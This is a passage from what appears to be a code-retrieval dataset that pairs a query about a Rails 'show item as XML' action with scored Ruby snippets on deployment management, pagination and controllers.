name=#{server.name}) in deployment (name=#{deployment_name}, id=#{deployment_id})\"\n errors << result.errors.first\n end\n rescue => e\n @logger.error \"#{indent}start_servers_in_deployment(): Error waiting for Server (id=#{server_id}, name=#{server.name}) in deployment (name=#{deployment_name}, id=#{deployment_id}): #{e.message}\"\n errors << e\n end\n }\n end\n \n @logger.debug \"#{indent}start_servers_in_deployment(): returning result (error count=#{errors.size}, notice count=#{notices.count})\"\n return Result.new(:success => (errors.size==0), :errors => errors, :notices => notices, :value => server_instances)\n end", "title": "" }, { "docid": "1ea5af3f9aff17f0b7048f7580cb6b8d", "score": "0.45718116", "text": "def execute &block\n backoff = Backoff.new retries: retries\n backoff.execute(&block)\n rescue Faraday::ConnectionFailed\n raise Google::Cloud::ResourceExhaustedError\n end", "title": "" }, { "docid": "cb260d68ee8cfca838c77ec8a0dc6dd6", "score": "0.45679817", "text": "def each\n limits = @version.read_limits\n \n page = self.page(\n page_size: limits['page_size'],\n )\n \n @version.stream(page,\n limit: limits['limit'],\n page_limit: limits['page_limit']).each {|x| yield x}\n end", "title": "" }, { "docid": "cb260d68ee8cfca838c77ec8a0dc6dd6", "score": "0.45679817", "text": "def each\n limits = @version.read_limits\n \n page = self.page(\n page_size: limits['page_size'],\n )\n \n @version.stream(page,\n limit: limits['limit'],\n page_limit: limits['page_limit']).each {|x| yield x}\n end", "title": "" }, { "docid": "537e7949594b2e4cf62c88535128b686", "score": "0.45587325", "text": "def each(&block)\n per_page = @each_batch_size\n page = 0\n\n loop do\n entities = get_paginated_entities(per_page, page)\n break if entities.empty?\n\n entities.each do |entity|\n block_given? ? block.call(entity) : yield(entity)\n end\n\n page += 1\n end\n end", "title": "" }, { "docid": "c6e62d2b067ccee7553762f9201a372c", "score": "0.45562133", "text": "def list_instances(rds_resource)\n db_instances = []\n rds_resource.db_instances.each do |i|\n db_instances.append({\n \"name\": i.id,\n \"status\": i.db_instance_status\n })\n end\n db_instances\nrescue Aws::Errors::ServiceError => e\n puts \"Couldn't list instances:\\n#{e.message}\"\nend", "title": "" }, { "docid": "99c33782394fbc6ad1648176a4dcce8b", "score": "0.45517412", "text": "def each(&block)\n if @auto_pagination\n first_hashie = @hashie.clone\n while true\n cur_hits = entries.clone\n cur_hits.each do |entity|\n if block_given?\n block.call entity\n else\n yield entity\n end\n end\n if @hashie.nextPage && @hashie.page < 300\n begin\n next_page!\n rescue HomeAway::API::Errors::RequestedRangeNotSatisfiableError\n # we have a max page limit\n # reset me to the first so that I can be iterated over again\n @hashie = first_hashie\n break\n end\n else\n # reset me to the first so that I can be iterated over again\n @hashie = first_hashie\n break\n end\n end\n else\n entries.each do |entity|\n if block_given?\n block.call entity\n else\n yield entity\n end\n end\n end\n end", "title": "" }, { "docid": "09eebc4b9ea8e8cb677789b71d92d4b7", "score": "0.45429018", "text": "def create_api_deployment request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_api_deployment_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ApigeeRegistry::V1::ApiDeployment.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "d53dd32b09c37ff908ad32671fbbd9a3", "score": "0.45403156", "text": "def each(&block)\n scope.each { |resource| block.call(resource.decorate) }\n end", "title": "" }, { "docid": "45af4642648adf031b1daec173210b5b", "score": "0.45360208", "text": "def context\n unless @instance_context\n @instance_context = DeploymentContext.new(@version , @params['fleet_sid'], @params['sid'])\n end\n @instance_context\n end", "title": "" }, { "docid": "80732926626347b4fd707697b89b7bbb", "score": "0.45353806", "text": "def auto_paging_each(&block)\n return enum_for(:auto_paging_each).lazy unless block_given?\n\n loop do\n page = next_page\n break unless page.valid_response?\n\n page.set_cursor\n\n page.wrap_data do |data|\n block.call(data)\n end\n\n break if page.on_last_page?\n end\n end", "title": "" }, { "docid": "301067af20b4b1f6df60ea9b8904e715", "score": "0.45340633", "text": "def describe_auto_scaling_group_running_instances(group_name)\n # create new client\n client = create_autoscale_client()\n\n pages = client.describe_auto_scaling_groups(auto_scaling_group_names: [group_name])\n \n group_description = pages.first.auto_scaling_groups.first\n \n filtered = []\n\n # list all currently existing servers in the auto scale group\n instances = group_description.instances\n\n instances.each do |instance|\n if is_working_instance?(instance.instance_id)\n filtered << instance\n end \n end\n\n return filtered\nend", "title": "" }, { "docid": "8e9ab0066e6c3f7a7196e1d8408ffc46", "score": "0.45251995", "text": "def scale_up(count)\n if single_host_setup?\n count.times do\n plan_container_creation(sole_host)\n end\n else\n plan_host_creation(count).each do |host|\n plan_container_creation(host)\n end\n end\n end", "title": "" }, { "docid": "f35985acaf69ed5a9f6c3e3aa3b73ae7", "score": "0.45250624", "text": "def initial_deployment\n log(:debug, 'Initial deployment')\n @experiment.reload\n @resources_interface.get_available_resource_configurations\n .select { |configuration| @resources_interface.current_resource_configuration_limit(configuration) > 0 }\n .shuffle[0..@experiment.size-1]\n .each do |configuration|\n @resources_interface.schedule_workers(1, configuration)\n log(:debug, \"Initializing configuration: #{configuration}\")\n end\n end", "title": "" }, { "docid": "7679a1f411519ebcb1588ea84fe354f8", "score": "0.45240477", "text": "def get_servers_in_deployment(args)\n # for convenience\n deployment_id = args[:deployment_id]\n deployment_name = args[:deployment_name]\n indent = args[:indent] || ''\n \n args_no_pass = args.reject {|key, _| key == :password }\n @logger.debug \"#{indent}get_servers_in_deployment(#{args_no_pass.inspect})\"\n @logger.debug \"#{indent}get_servers_in_deployment(): Getting servers in Deployment (id=#{deployment_id}, name=#{deployment_name})\"\n \n deployment = get_deployment(:deployment_id => deployment_id, :deployment_name => deployment_name, :indent => \"#{indent} \");\n if deployment.nil?\n @logger.warn \"#{indent}get_servers_in_deployment(): Deployment (id=#{deployment_id}, name=#{deployment_name}) not found\"\n return\n end\n \n servers = deployment.show.servers.index\n @logger.warn \"#{indent}get_servers_in_deployment(): Returning servers for deployment (name=#{deployment_name}, id=#{deployment_id}): #{servers.inspect}\"\n return servers\n end", "title": "" }, { "docid": "05b5e0084dc0aadb18536c0427ce6f03", "score": "0.45221624", "text": "def each\n return enum_for(:each) unless block_given?\n\n execute.each do |result|\n yield(model.new(**result.merge(api: api)))\n end\n end", "title": "" }, { "docid": "2f8bb6d7cf3393b7be0a21128a708fb9", "score": "0.4520763", "text": "def vault_instances(key)\n # parse_secret_key doesn't know about the namespace etc, so strip it off\n deploy_group = SecretStorage.parse_secret_key(key.split('/', 3).last).fetch(:deploy_group_permalink)\n if deploy_group == 'global'\n @vaults.map(&:pop)\n else\n deploy_group = DeployGroup.find_by_permalink(deploy_group)\n if deploy_group.nil?\n raise \"no vault_instance configured for deploy group #{deploy_group}\"\n end\n [@vaults.fetch(deploy_group.vault_instance.to_s)]\n end\n end", "title": "" }, { "docid": "330466f73af46b2b8113d9efc898b08b", "score": "0.45179877", "text": "def expand_cluster\n rs_cluster = RaxClusterCreate.new\n rs_cluster.config[:blue_print] = config[:blue_print]\n rs_cluster.lb_name = @name_args[0]\n instance_return = rs_cluster.deploy(config[:blue_print],'update_cluster')\n instance_errors = instance_return['error_text']\n instance_return = instance_return['instances']\n lb_auth = authenticate()\n puts lb_auth['auth_token']\n headers = {\"x-auth-token\" => lb_auth['auth_token'], \"content-type\" => \"application/json\"}\n lb_url = \"\"\n lb_auth['lb_urls'].each {|lb|\n if config[:lb_region].to_s.downcase == lb['region'].to_s.downcase\n lb_url = lb['publicURL']\n break\n end\n lb_url = lb['publicURL']\n }\n meta_data_request = {\n \"metadata\" => [] \n }\n node_data_request = {\n \"nodes\" => []\n }\n meta_url = lb_url + \"/loadbalancers/#{@lb_id}/metadata\"\n node_url = lb_url + \"/loadbalancers/#{@lb_id}/nodes\"\n \n instance_return.each {|inst|\n node_data_request['nodes'] << {\"address\" => inst['ip_address'], 'port' =>Chef::Config[:knife][:port] || '80', \"condition\" => \"ENABLED\" } \n meta_data_request['metadata'] << {\"key\" => inst['server_name'], \"value\" => inst['uuid']} \n }\n meta_request = make_web_call(\"post\", meta_url, headers, meta_data_request.to_json)\n lb_status = lb_url + \"/loadbalancers/#{@lb_id}\"\n lb_stats = make_web_call(\"get\", lb_status, headers)\n lb_stats = JSON.parse(lb_stats.body)\n\n while lb_stats['loadBalancer']['status'].to_s.downcase != 'active'\n sleep(5)\n lb_stats = make_web_call(\"get\", lb_status, headers)\n lb_stats = JSON.parse(lb_stats.body)\n end\n node_request = make_web_call(\"post\", node_url, headers, node_data_request.to_json)\n if instance_errors\n ui.msg \"There were problems bootstrapping/booting nodes, verify with knife node list or nova list to track down issues\"\n end\n ui.msg \"Load balancer id #{@lb_id} has been updated\"\n \n\t end", "title": "" }, { "docid": "ed01ba904758dbe86c98b285b73c6f8b", "score": "0.45161244", "text": "def deployment_lock\n @deployment_lock ||= get_or_create_deployment_lock\nend", "title": "" }, { "docid": "ebcdc320b6f85d5cbfb9645c362c89cc", "score": "0.45160517", "text": "def get_instance(deploy_id)\n raise \"You should implement this method.\"\n end", "title": "" }, { "docid": "78f08429e8d61dfca74c71486e17362c", "score": "0.45153052", "text": "def fetch_in_batches\n total_batches = (fetch_assets_count.to_f / @page_size).ceil\n\n total_batches.times do |batch|\n print_good \"Syncing assets batch #{batch + 1} of #{total_batches}...\"\n\n offset = batch * @page_size\n limit = @page_size\n\n raw_assets = fetch_assets(offset, limit)\n raw_vulnerabilities = fetch_vulnerabilities(raw_assets.map { |asset| asset[\"id\"] })\n raw_definitions = fetch_definitions(raw_vulnerabilities.values.flatten.map { |vuln| vuln[\"definition_id\"] }.uniq)\n\n assets = build_asset_classes(raw_assets, raw_vulnerabilities)\n definitions = build_definition_classes(raw_definitions)\n\n yield(assets, definitions)\n end\n end", "title": "" }, { "docid": "e8cd6a9e0a3a9bc2c5704890f492eb8d", "score": "0.4512824", "text": "def each\n limits = @version.read_limits\n \n page = self.page(\n page_size: limits['page_size'],\n )\n \n @version.stream(page,\n limit: limits['limit'],\n page_limit: limits['page_limit']).each {|x| yield x}\n end", "title": "" }, { "docid": "bcc44fce2be47def1a379569fe5199aa", "score": "0.45107085", "text": "def method_missing(sym, *args, &block)\n if deployment.respond_to?(sym)\n deployment.send(sym, *args, &block)\n else\n super\n end\n end", "title": "" }, { "docid": "46997fa6a91c8582e8abf9bb31a833e9", "score": "0.45084372", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = CreateDeploymentResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "925cebc93deb0d187deeb630f2c14d5b", "score": "0.4504023", "text": "def list # rubocop:disable Metrics/AbcSize\n attrcheck = {\n 'REST end point' => @options[:rest_endpoint],\n 'Container' => @options[:container]\n }\n @validate.attrvalidate(@options, attrcheck)\n instanceconfig = Instance.new(@options)\n instanceconfig.function = '/snapshot' if @options[:function].downcase == 'inst_snapshot'\n instanceconfig = instanceconfig.list\n return JSON.pretty_generate(JSON.parse(instanceconfig.body))\n end", "title": "" }, { "docid": "ffa43aa05a3b96bea10e0c0dcbd2da2b", "score": "0.45037895", "text": "def each(&block)\n enum = @resources.to_enum\n enum.each(&block) if block_given?\n enum\n end", "title": "" }, { "docid": "a7a10ffaf1cb5f0fb5395e7bd58c78fe", "score": "0.4502975", "text": "def validate\n @deployment.each(&:validate)\n end", "title": "" }, { "docid": "15c5347f15b5401da67e2cf5f16bfeea", "score": "0.45026946", "text": "def index\n @deployments = current_cloud.active_deployment_list\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @deployments }\n end\n end", "title": "" }, { "docid": "b4be52830e147805c6e8e922eabceee3", "score": "0.44987375", "text": "def create_deployment(deployment_name, cloud_service_name, package_url, service_configuration, options = {})\n Loggerx.error_with_exit 'Cloud service name is not valid' unless cloud_service_name\n Loggerx.error_with_exit 'Deployment name is not valid' unless deployment_name\n Loggerx.error_with_exit 'Package url is not valid' unless package_url\n Loggerx.error_with_exit 'ServiceConfiguration.cscfg is not valid' unless service_configuration\n upgrade_if_exists = options[:upgrade_if_exists].nil? ? false : options[:upgrade_if_exists]\n\n slot = \"production\"\n unless options.nil? || options[:slot].nil?\n valid_slot = options[:slot].casecmp(\"staging\") || options[:slot].casecmp(\"production\")\n Loggerx.error_with_exit 'Deployment slot is not valid' unless valid_slot\n slot = options[:slot].downcase\n end\n\n # 2. Get the current deployment so one can verify that it can be upgraded\n deployment = get_deployment(cloud_service_name, {:slot => slot, :no_exit_on_failure => true})\n\n # 3. Create or upgrade the deployment\n if deployment.exists?\n if upgrade_if_exists\n upgrade_deployment(cloud_service_name, package_url, service_configuration, options)\n else\n Loggerx.error_with_exit \"#{slot.capitalize} deployment '#{deployment_name}' on cloud service #{cloud_service_name} already exist.\"\n end\n else\n slot = \"production\"\n unless options.nil? || options[:slot].nil?\n valid_slot = options[:slot].casecmp(\"staging\") || options[:slot].casecmp(\"production\")\n Loggerx.error_with_exit 'Deployment slot is not valid' unless valid_slot\n slot = options[:slot].downcase\n end\n Loggerx.info \"Creating deployment #{deployment_name}.\"\n request_path = \"/services/hostedservices/#{cloud_service_name}/deploymentslots/#{slot}\"\n body = Serialization.create_deployment_to_xml(deployment_name, package_url, service_configuration, options)\n request = ManagementHttpRequest.new(:post, request_path, body)\n request.call(options)\n end\n end", "title": "" }, { "docid": "45b16b811405352885eec88e94c9f7a8", "score": "0.4498528", "text": "def request_termination_of_all_instances\n list_of_instances.each {|a| terminate_instance!(a[:instance_id])}\n end", "title": "" }, { "docid": "c06bd34edae735e31ca759bf7bceae07", "score": "0.44961482", "text": "def each_resource\r\n @resources.each_value {|resource| yield resource}\r\n end", "title": "" }, { "docid": "6cc00c727326e7f980614c4b0b2a159f", "score": "0.44939724", "text": "def obtain_vm_data(resource)\n\n # Default deployment\n if resource[:controller] != nil && resource[:servers] != nil\n\n puts \"Default deployment\"\n return obtain_appscale_data_default(resource[:controller],\n resource[:servers])\n\n # Custom deployment\n elsif resource[:master] != nil && resource[:appengine] != nil &&\n resource[:database] != nil && resource[:login] != nil &&\n resource[:open] != nil\n\n puts \"Custom deployment\"\n return obtain_appscale_data_custom(resource[:master],\n resource[:appengine],\n resource[:database],\n resource[:login],\n resource[:open],\n resource[:zookeeper],\n resource[:memcache])\n\n end\n\n# ips, ip_roles = appscale_yaml_ips(resource[:ip_file])\n# img_roles = appscale_yaml_ips(resource[:img_file])\n# return ips, ip_roles, img_roles\n \nend", "title": "" }, { "docid": "d1572c1531405e693bf084b0d6f57e2e", "score": "0.4493792", "text": "def with_deploy(dir, options = {}, &block)\n # verbose = options[:verbose] || false\n GoodData.with_project(options[:project_id] || options[:project]) do |project|\n params = options[:params].nil? ? [] : [options[:params]]\n if block\n begin\n res = GoodData::Process.deploy(dir, options.merge(:files_to_exclude => params))\n block.call(res)\n ensure\n res.delete if res\n end\n else\n GoodData::Process.deploy(dir, options.merge(:files_to_exclude => params))\n end\n end\n end", "title": "" }, { "docid": "0d2ec89c9fc3632d9e1cc183217bf4ab", "score": "0.44936082", "text": "def deploy(provision)\n tempdir = init(provision, false, false)\n\n if @file_credentials\n c_key = Provider::CREDENTIALS_FILE[@provider.type]\n credentials = @provider.connection[c_key.upcase]\n\n File.open(\"#{tempdir}/credentials.json\", 'w') do |file|\n file.write(Base64.decode64(credentials))\n end\n end\n\n # Apply\n Driver.retry_loop(\"Driver action 'tf deploy' failed\", provision) do\n _, e, s = Driver.run(\n \"cd #{tempdir}; \" \\\n \"export TF_LOG=#{OneProvisionLogger.tf_log}; \" \\\n 'terraform apply -auto-approve'\n )\n\n unless s && s.success?\n conf = Base64.encode64(Zlib::Deflate.deflate(@conf))\n state = ''\n\n if File.exist?(\"#{tempdir}/terraform.tfstate\")\n @state = File.read(\"#{tempdir}/terraform.tfstate\")\n state = Base64.encode64(Zlib::Deflate.deflate(@state))\n end\n\n provision.add_tf(state, conf)\n\n provision.update\n\n STDERR.puts '[ERROR] Hosts provision failed!!! ' \\\n 'Please log in to your console to delete ' \\\n 'left resources'\n\n raise OneProvisionLoopException, e\n end\n end\n\n @state = File.read(\"#{tempdir}/terraform.tfstate\")\n\n # Get IP information and deploy IDs\n info = output(tempdir)\n\n # Filter ids\n hash_ids = info.select do |key, _value|\n key.to_s.match(/^device_[0-9]*_id/)\n end\n ids = hash_ids.values.map {|h| h['value'] }\n\n # Filter ips\n hash_ips = info.select do |key, _value|\n key.to_s.match(/^device_[0-9]*_ip/)\n end\n ips = hash_ips.values.map {|h| h['value'] }\n\n conf = Base64.encode64(Zlib::Deflate.deflate(@conf))\n state = Base64.encode64(Zlib::Deflate.deflate(@state))\n\n [ips, ids, state, conf]\n ensure\n FileUtils.rm_r(tempdir) if tempdir && File.exist?(tempdir)\n end", "title": "" } ]
016563f7300c76f4ff613591f26367dd
GET /items/1 GET /items/1.xml
[ { "docid": "50d72064aa884cea40efa8c7a0811d08", "score": "0.0", "text": "def show\n @item = Item.find_by_id_or_name(params[:id])\n\n render_404 and return unless @item\n \n @title = @item.title\n \n @comment = Comment.new(params[:comment])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n format.json { render :json => @item }\n end\n end", "title": "" } ]
[ { "docid": "9e059e4239e69f39ab00fc59f7dee61d", "score": "0.67883086", "text": "def show\n @request = Request.find(params[:id])\n @items = @request.items\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "5f15f9fb1258c5a184d33c083232fba0", "score": "0.67824584", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "5f15f9fb1258c5a184d33c083232fba0", "score": "0.67824584", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "5f15f9fb1258c5a184d33c083232fba0", "score": "0.67824584", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "5f15f9fb1258c5a184d33c083232fba0", "score": "0.67824584", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "5f15f9fb1258c5a184d33c083232fba0", "score": "0.67824584", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "5f15f9fb1258c5a184d33c083232fba0", "score": "0.67824584", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "027619bec30421a35fb10b921a5a5265", "score": "0.6725632", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html\n # show.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "127c2d830f571c5c231142db635a5d2b", "score": "0.671724", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n format.xml { render xml: @item }\n end\n end", "title": "" }, { "docid": "994a5524e2512a173f8784bd2d861313", "score": "0.66035503", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "613747a87e8b06b0308159c453828491", "score": "0.65945554", "text": "def get_items\n response_xml = http_get(@client, \"#{xero_url}/Items\")\n parse_response(response_xml, {}, {:request_signature => 'GET/items'})\n end", "title": "" }, { "docid": "4a158bc31a6ce5b23723ff44e68285b2", "score": "0.6577324", "text": "def index\n @items_count = Item.count\n @items = Item.find(:all, { :order => 'items.created_at DESC', :include => :user }.merge(@pagination_options))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n format.rss { render :layout => false }\n end\n end", "title": "" }, { "docid": "fe8f79b4498a381e9d89b8321e0c068f", "score": "0.65549666", "text": "def index\n @items = @project.items.ready\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end", "title": "" }, { "docid": "88b1e067e8d668d3591c17ebcb26fd5e", "score": "0.647732", "text": "def item(uuid)\n http.get \"/items/#{uuid}\"\n end", "title": "" }, { "docid": "797f77b4439e8ab3cf07486b7ea86a49", "score": "0.6476387", "text": "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n format.json { render :json => @item }\n end\n end", "title": "" }, { "docid": "3355c353c3b8da11e2a34bac64724b67", "score": "0.6447388", "text": "def index\n @goods_items = Goods::Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @goods_items }\n end\n end", "title": "" }, { "docid": "c6bdb452d2cdaf8a718cfb285bd6d9c5", "score": "0.64292353", "text": "def xml(item)\n presenter.xml(item)\n end", "title": "" }, { "docid": "697855bd150b1d915f522055be973830", "score": "0.63994366", "text": "def index\n @action_items = ActionItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @action_items }\n end\n end", "title": "" }, { "docid": "486e7d376f45c4e923b9875947af2e9b", "score": "0.636686", "text": "def index_rest\n @entry_items = EntryItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entry_items }\n end\n end", "title": "" }, { "docid": "8785d279f219e0b66b7d1cfbef174a64", "score": "0.6338798", "text": "def index\n @items_mobs = ItemsMob.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @items_mobs.to_xml }\n end\n end", "title": "" }, { "docid": "284594ce651f96d4f8af0f5e7c43adcb", "score": "0.63165414", "text": "def show\n @items_mob = ItemsMob.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @items_mob.to_xml }\n end\n end", "title": "" }, { "docid": "9280fa19c9ceb933104e4d15ca4194b8", "score": "0.6298263", "text": "def index\n @list = List.find(params[:list_id])\n @list_items = @list.list_items.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @list_items }\n end\n end", "title": "" }, { "docid": "0fed151a98066d3986b1502e72d2c6d2", "score": "0.62632203", "text": "def show\n @list = List.find(params[:list_id])\n @list_item = @list.list_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list_item }\n end\n end", "title": "" }, { "docid": "41fa3b3265e0fdb212d8f91d3974f558", "score": "0.62601656", "text": "def index\n @receiving_items = ReceivingItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @receiving_items }\n end\n end", "title": "" }, { "docid": "6ea7fcd5cd4bf13805d4ead2f9cdaf81", "score": "0.6239026", "text": "def index\n @front_page = true\n @items_count = Item.count\n @items = Item.all.paginate :page => params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n format.rss { render :layout => false }\n end\n end", "title": "" }, { "docid": "b040cbf54f8316e3b79f9a85b078e131", "score": "0.623873", "text": "def path\n \"/{databaseId}/items/list/\"\n end", "title": "" }, { "docid": "e21195029974ef80febd4244b0dda986", "score": "0.62011945", "text": "def index\n @news_items = do_index(NewsItem, params)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @news_items }\n end\n end", "title": "" }, { "docid": "a5ec9512ebb36dcad53cc0c01bf5627f", "score": "0.6199706", "text": "def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @line_items }\n end\n end", "title": "" }, { "docid": "96dee8090285db83819391b25efd8f05", "score": "0.61959916", "text": "def show_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "title": "" }, { "docid": "aaa2ec7e8072ae92dadbcdc1e56f6f7e", "score": "0.6194133", "text": "def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "title": "" }, { "docid": "815427cdc82f99a8d2685b8e8a337f26", "score": "0.61774075", "text": "def items\n # Since we're parsing xml, this will raise an error\n # if the response isn't xml.\n self.response = self.class.get(\"#{record_url}/items?view=full\")\n raise_error_if(\"Error getting items from Aleph REST APIs.\") {\n (response.parsed_response[\"get_item_list\"].nil? or response.parsed_response[\"get_item_list\"][\"items\"].nil?)\n }\n [response.parsed_response[\"get_item_list\"][\"items\"][\"item\"]].flatten\n end", "title": "" }, { "docid": "87c62cb41d4039a317257b4246217cc9", "score": "0.6176978", "text": "def show\n @actionitem = Actionitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @actionitem }\n end\n end", "title": "" }, { "docid": "446450357aca8494f8fc815a83b96a58", "score": "0.6176305", "text": "def items\n @document.xpath('//results/page/items/*')\n end", "title": "" }, { "docid": "55cf1f53f4dcd895e77ee6cd45fb6e7d", "score": "0.616367", "text": "def show\n @goods_item = Goods::Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @goods_item }\n end\n end", "title": "" }, { "docid": "4718e593e9eba5a37e74f1d67464dcf2", "score": "0.6154313", "text": "def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @line_items }\n end\n end", "title": "" }, { "docid": "4718e593e9eba5a37e74f1d67464dcf2", "score": "0.6154313", "text": "def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @line_items }\n end\n end", "title": "" }, { "docid": "673457df0cd62ff5b8b0529710296ad6", "score": "0.6152154", "text": "def index\n @stream_items = StreamItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stream_items }\n end\n end", "title": "" }, { "docid": "6782cc76297b6478b9054e7f6c9c98ab", "score": "0.6151408", "text": "def show\n respond_to do |wants|\n wants.html # show.html.erb\n wants.xml { render :xml => @item }\n end\n end", "title": "" }, { "docid": "196801831a75757e64bd58ddbfa8c969", "score": "0.61482036", "text": "def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end", "title": "" }, { "docid": "7dd913e5d7eb44d1d121f4086e191130", "score": "0.61401194", "text": "def index\n @items = @category.blank? ? Item.roots : @category.items\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end", "title": "" }, { "docid": "afb4c863673429641bb3e40f3a2f0bd1", "score": "0.61355865", "text": "def index\n @item_options = ItemOption.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @item_options }\n end\n end", "title": "" }, { "docid": "5124d37b3706910929587854161aadc1", "score": "0.6129329", "text": "def item\n @item = Item.find(params[:id])\n end", "title": "" }, { "docid": "8332c0ededc6419dcfe1cedbd45db6b8", "score": "0.61048645", "text": "def show\n @ordered_item = OrderedItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ordered_item }\n format.json { render :json => @ordered_item }\n end\n end", "title": "" }, { "docid": "ccc4a637d35d0994a1997880ff2d1bef", "score": "0.6098971", "text": "def index\n @items = Item.accessible_by(current_ability)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n format.xml { render xml: @items }\n end\n end", "title": "" }, { "docid": "169da430c8450fbe15a6675236fa3936", "score": "0.60888124", "text": "def index\n @current_item = \"my_account\"\n \n respond_to do |format|\n format.html \n format.xml { render :xml => @accounts.to_xml }\n end\n end", "title": "" }, { "docid": "70a16acac8493d719940143a77276110", "score": "0.6062392", "text": "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end", "title": "" }, { "docid": "12d9947c69b70296fef01bf56cef668d", "score": "0.605675", "text": "def get(item)\n self.send(\"GET #{item}\")\n\n # Check for errors\n case @retcode\n when 0 then @retmesg # OK\n when 10 then nil # item doesn't exist\n else\n fail(\"Debconf: debconf-communicate returned #{@retcode}: #{@retmesg}\")\n end\n end", "title": "" }, { "docid": "4a5252bd7a3e11702cd176d5fe73153c", "score": "0.6054347", "text": "def show\n @receiving_item = ReceivingItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @receiving_item }\n end\n end", "title": "" }, { "docid": "c5e75f9f8387cf385b7ef77293717feb", "score": "0.60539645", "text": "def index\n @league_items = LeagueItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @league_items }\n end\n end", "title": "" }, { "docid": "10983e266ef2920b6139ce10961c1aec", "score": "0.6053387", "text": "def show\n @item_type = ItemType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_type }\n end\n end", "title": "" }, { "docid": "bcd7b13d2b90ace9ed11d7c31b75d49f", "score": "0.60531044", "text": "def show\n @auction_item = AuctionItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @auction_item }\n end\n end", "title": "" }, { "docid": "1831f07944ad02827732f2bf9f306adf", "score": "0.604103", "text": "def show_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n #format.html # show.html.erb\n format.xml { render :xml => @entry_item }\n end\n end", "title": "" 